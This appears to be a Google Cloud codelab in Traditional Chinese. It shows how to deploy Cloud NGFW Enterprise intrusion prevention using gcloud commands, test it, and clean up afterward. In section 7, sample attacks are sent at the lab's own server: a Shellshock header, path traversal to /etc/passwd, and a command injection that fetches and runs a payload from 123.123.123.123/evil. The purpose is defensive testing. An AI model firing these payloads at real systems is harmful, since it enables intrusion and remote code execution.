Cloud NGFW Enterprise - 入侵預防服務 (不含 TLS 檢查)

1. 簡介

Cloud 新一代防火牆 (NGFW)

Cloud Next Generation Firewall 完全分散式防火牆服務,提供進階防護功能、微分段和普及的防護,可保護 Google Cloud 工作負載不受內部和外部攻擊的侵擾。

Cloud NGFW 具備下列優點:

  • 分散式防火牆服務:Cloud NGFW 能針對每個工作負載提供以狀態、完全分散式的主機為基礎的強制執行設定,藉此啟用零信任安全架構。
  • 簡化設定和部署:Cloud NGFW 實作可連接至資源階層節點的網路和階層式防火牆政策。這些政策能為 Google Cloud 資源階層提供一致的防火牆體驗。
  • 精細的控制與微分段:結合防火牆政策以及身分與存取權管理 (IAM) 管理標記,可讓您精細控管虛擬私有雲 (VPC) 網路和組織中,向南方與東向的傳送,到單一 VM 的流量。

Cloud NGFW 分為下列級別:

Cloud NGFW Enterprise

Cloud NGFW Enterprise 為分散式 Google Cloud 防火牆架構新增了 Intrusion Prevention Service (IPS),這是第 7 層功能。支援 TLS 檢查功能,可以允許檢查 TLS 加密流量,但不在本程式碼研究室的範圍內 (請參閱「Cloud NGFW Enterprise 程式碼研究室搭配 TLS 檢查」)。

您現在可以使用精細的控制項部署可靠的第 7 層新一代防火牆 (NGFW) 檢查,無須變更網路架構或轉送設定。

如要使用 IPS 啟動及部署第 7 層防火牆控制項,您必須執行下列工作:

  • 建立一組 Google Cloud 代管可用區防火牆端點。
  • 視需要建立 TLS 檢查政策 (不包含在本程式碼研究室中)
  • 視需要建立信任設定 (不適用於本程式碼研究室)
  • 請將這些端點與需要使用 Cloud NGFW Enterprise 服務的虛擬私有雲 (VPC) 網路建立關聯。
  • 稍微變更現有的防火牆政策和防火牆規則,以指定不同流量路徑的威脅防護設定檔。

網路防火牆政策

網路防火牆政策可做為防火牆規則的容器使用。在政策與虛擬私有雲網路建立關聯之前,網路防火牆政策中定義的規則不會在任何位置強制執行。每個虛擬私有雲網路都只能有一項相關聯的網路防火牆政策。網路防火牆政策支援防火牆規則中受 IAM 規範的標記 (或只有標記),這類標記會取代目前的網路標記,並可用於為工作負載提供身分。

跨網路共用網路防火牆政策,並與受 IAM 控管的標記整合,可大幅簡化防火牆的設定與管理作業。

隨著網路防火牆政策推出,Google Cloud 的防火牆政策現在包含以下元件:

  1. 階層式防火牆政策
  2. 虛擬私有雲防火牆規則
  3. 網路防火牆政策 ( 全域區域性)

階層式防火牆政策支援資源階層內的機構和資料夾節點,虛擬私有雲防火牆規則和網路防火牆政策則會在虛擬私有雲層級套用。虛擬私有雲防火牆規則和網路防火牆政策的一大差異在於,虛擬私有雲防火牆規則只能套用至單一虛擬私有雲網路,網路防火牆政策則可連結至單一虛擬私有雲或一組虛擬私有雲,並具備批次更新等其他好處。

最後,每個虛擬私有雲網路都有默示防火牆規則

  • 輸出規則,其動作允許,目的地為 0.0.0.0/0
  • 輸入規則的動作遭拒,來源為 0.0.0.0/0

根據預設,強制執行順序如下圖所示:

21b3bcabc469ffe.png

請注意,您可以交換虛擬私有雲防火牆規則和全域網路防火牆政策之間的強制執行順序。客戶隨時可以使用 gcloud 指令指定強制執行順序。

IAM 控管的標記

新的整合於網路防火牆政策規則的標記,是在 Google Cloud 資源階層的機構或專案層級定義的鍵/值組合資源。顧名思義,這類標記包含 IAM 存取權控管,指定誰可以對標記執行動作。例如,允許某個主體指定哪些主體可以指派值給標記,以及哪些主體可將標記附加至資源。將標記套用至資源後,網路防火牆規則即可使用該標記來允許及拒絕流量。

標記會遵循 Google Cloud 的繼承資源模型,也就是說,標記及其值會從父項向下傳遞。因此,如果您在同一處建立標記,就能供資源階層結構中的其他資料夾和專案使用。如要進一步瞭解代碼和存取權限制,請前往這個頁面

標記不應與網路標記混淆。後者是可新增至 Compute Engine 執行個體的字串;這些執行個體會與執行個體相關聯,並在執行個體停用時消失。虛擬私有雲防火牆規則可能包含網路標記,但這類標記不視為雲端資源,因此不受 IAM 存取權控管限制。

請注意,本文件中會交替使用標記和受 IAM 控管的標記。

建構項目

這個程式碼研究室需要有一項專案,且要建立具備公開連線能力的虛擬私有雲網路,才能展示 Cloud NGFW Enterprise 如何透過以下方式提供 IPS 功能:

  • 檢查虛擬私有雲/子網路內部流程 [East-West]
  • 檢查來自網際網路的輸入流程 [北-南]

系統會使用 5 個元組 (來源 IP、目的地 IP、通訊協定、來源通訊埠、目的地通訊埠) 和標記等 Cloud Firewall 比對參數,選取要檢查的流量。本程式碼研究室不包含傳輸層安全標準 (TLS) 檢查

52a0642ef8668ecf.png

網路防火牆政策規則集與下表相似:

優先順序

方向

目標

資料來源

目標位置

動作

類型

100

輸出

Quarantine_Tag

不限

不限

拒絕

Essentials

1000

輸入

Server_Tag

健康檢查範圍

不限

允許

Essentials

2000

輸入

不限

Identity-Aware Proxy 範圍

不限

允許

Essentials

3000

輸入

不限

地理區域、GCTI

不限

拒絕

標準

4000

輸出

不限

不限

地理區域、GCTI

拒絕

標準

5000

輸出

不限

不限

系統更新 FQDN

允許

標準

6000

輸入

Server_Tag

10.0.0.0/24

不限

IPS

Enterprise

7000

輸入

Server_Tag

CloudNAT_IP

不限

IPS

Enterprise

課程內容

軟硬體需求

  • Google Cloud 專案
  • 具備部署執行個體與設定網路元件的知識
  • 虛擬私有雲防火牆設定知識

2. 事前準備

建立/更新變數

本程式碼研究室會使用 $variables,協助在 Cloud Shell 中實作 gcloud 設定。

在 Cloud Shell 中執行下列指令,將方括號內的資訊依需求取代 (如果已設定所需專案,請略過設定專案)。如果機構層級資源有多個變數,系統會採用另一個變數。例如:需要防火牆端點

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. 啟用 API

如果尚未啟用 API,請按照下列步驟操作:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise 安全性設定檔和端點建立

由於 Cloud NGFW Enterprise 端點建立作業大約需要 20 分鐘才能完成,因此系統會先建立 Cloud NGFW Enterprise 端點,並在建立端點時同時執行基礎設定。

建立安全性設定檔和安全性設定檔群組:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

預期輸出內容:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

確認資源已成功建立:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

預期輸出內容:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

建立 Cloud NGFW Enterprise 端點:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

請執行下列指令,確認正在建立端點 (狀態:CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期的輸出內容 (請注意,輸出格式可能因使用的用戶端而異):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

您也可以執行下列指令來瞭解詳情:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

預期輸出內容:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

端點建立程序大約需要 20 分鐘。請前往「基礎設定」專區,同時建立必要的資源。

5. 基礎設定

如果您想手動建立基礎資源,請繼續參閱以下各節。

虛擬私有雲網路與子網路

虛擬私有雲網路與子網路

建立虛擬私有雲網路和子網路:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

建立 Cloud Router 和 Cloud NAT 閘道:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

模擬

建立用戶端和網路伺服器執行個體:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

固定 層級標記

視需要為使用者指派 tagAdmin 和/或 tagUser 權限:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

建立專案層級的標記鍵和值:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

將標記繫結至執行個體:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全域網路防火牆政策

建立全域網路防火牆政策:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

建立 Cloud Firewall Essential 規則,拒絕來自隔離執行個體的流量 (此範例僅建立,並未用於本程式碼研究室),並允許來自健康狀態檢查身分感知 Proxy 範圍的流量:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

建立 Cloud Firewall Standard 規則,拒絕從/傳送至禁運國家/地區、已知惡意 IP 和 ToR 離開節點的輸入和輸出流量;並且僅允許將流量輸出至特定 FQDN 以進行系統更新 (此程式碼研究室只是做為範例建立,不會用於本程式碼研究室):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

建立 Cloud 防火牆規則,允許來自特定範圍的 east-west/內部子網路,以及北美洲/南北/網際網路流量 (這些規則將更新為啟用 Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

將網路防火牆政策連結至虛擬私有雲網路:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

外部 TCP/UDP 網路負載平衡器

保留外部 IP 位址,並建立執行個體群組和健康狀態檢查:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

建立後端服務和轉送規則:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW 企業端點關聯

視需要重新定義環境變數。

確認 Cloud Firewall 端點建立成功。只有在狀態顯示為 ACTIVE 時,才會繼續作業 (建立期間的預期狀態為「建立中」):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期的輸出內容 (請注意,輸出格式可能因使用的用戶端而異):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

您也可以執行下列指令來瞭解詳情:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

預期輸出內容:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

將 Cloud NGFW Enterprise 端點與虛擬私有雲網路建立關聯:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

連結程序大約需要 10 分鐘。只有在狀態顯示為 ACTIVE (建立程序期間的預期狀態為「建立中」) 時,才會繼續操作:

gcloud network-security firewall-endpoint-associations list

預期輸出內容:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

您也可以執行下列指令來瞭解詳情:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

預期輸出內容:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Cloud NGFW Enterprise 檢查規則

開啟新分頁,然後透過 IAP 啟動與用戶端 VM 的 SSH 連線 (您必須在新分頁中再次定義變數):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

在 SSH 工作階段中定義需要變數並設定變數 (請確認值正確無誤):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl 這兩個 IP,確認是否可以連線:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

兩個 curl 要求的預期結果如下:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

將範例攻擊傳送至內部伺服器 IP (東西向 / 虛擬私有雲內流量)。網路伺服器應回應所有要求,確認未設置 L7 檢查/預防機制:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

透過 Cloud NAT (北南入埠流量),重新傳送範例攻擊到外部伺服器 IP,同樣地網路伺服器應回應所有要求:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

公開和私人 IP 的預期結果:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

切換回 Cloud Shell 並更新現有的輸入規則,以啟用 L7 檢查功能:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

視需要描述防火牆規則,以驗證兩者是否已成功更新:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

預期輸出內容:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

規則 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

預期輸出內容:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

切換回用戶端 VM,並重新將攻擊範例傳送至內部伺服器 IP (東西部 / 虛擬私有雲內檢查):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

透過 Cloud NAT (北南入埠檢查),重新傳送範例攻擊到外部伺服器 IP:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

如下方預期的輸出內容所示,首次攻擊未收到任何回應,確認高嚴重性的攻擊現已遭到封鎖。

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

瀏覽至「網路安全性」>Cloud 控制台的威脅以驗證記錄 (如果未顯示攻擊,您可能需要重新整理幾次)。

daa535fcc34873aa.png

選擇其中一項攻擊,然後按一下「查看稽核記錄」(在新分頁中開啟,輕鬆切換回舊版)。展開攻擊即可查看詳細資料:

5f97cdef79e42eff.png

或者,您也可以將「Log Explorer」(記錄檔探索工具) 篩選器替換為以下查詢:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

威脅記錄項目應如下所示:

5ea9581a7eb694c5.png

您可以使用下列 Log Explorer 篩選器驗證 Cloud Firewall 攔截的封包 (有助於排解問題):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

您可以繼續檢查網際網路流量 (選用) 或關閉 SSH 工作階段,然後繼續執行下一章節進行清除步驟。

[選用] 網際網路流量檢查

如上一節所確認,到目前為止的檢查流量為內部子網路/虛擬私有雲 (東西部) 和來自網際網路的連入流量 (北南向內)。您也可以使用 Cloud Shell 建立新的輸出規則,將 Cloud NGFW Enterprise 設為檢查所有網際網路流量 (北南極傳出):

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

切換回用戶端 VM,並將高嚴重性攻擊重新傳送至外部伺服器 IP:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

預期輸出內容:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

切換至 Cloud 控制台的「威脅」分頁以驗證記錄 (您可能需要重新整理幾次)。應該已經識別並再次記錄攻擊,但來源 IP 現在是內部 IP,因為會先觸發輸出規則:

36f8edf264dcddcd.png

關閉 SSH 工作階段,然後前往下一節的清除步驟

8. 清除步驟

清除 Cloud NGFW 企業元件

列出現有的 Cloud NGFW Enterprise 關聯:

gcloud network-security firewall-endpoint-associations list

刪除 Cloud NGFW Enterprise 關聯:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

列出現有的 Cloud NGFW Enterprise 端點:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

刪除 Cloud NGFW Enterprise 端點,大約需要 20 分鐘才能完成:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

執行下列指令,確認已刪除雲端 NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

刪除安全性設定檔群組和威脅防護設定檔:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

清除基礎設定

如果您想要刪除基礎資源,請繼續進行下一個步驟。

視需要定義環境變數。透過 Cloud Shell 刪除網路負載平衡器元件:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

移除執行個體:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

如果 tagAdmin 和 tagUsers 角色有所變更,也可以執行下列步驟:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除標記鍵和值:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

刪除 Cloud Firewall 網路政策和關聯:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

刪除 Cloud Router 和 Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

刪除保留的 IP 位址:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

最後,刪除子網路和虛擬私有雲網路:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. 恭喜!

恭喜,您已成功完成 Cloud NGFW Enterprise for East-West 和北南檢查程式碼研究室。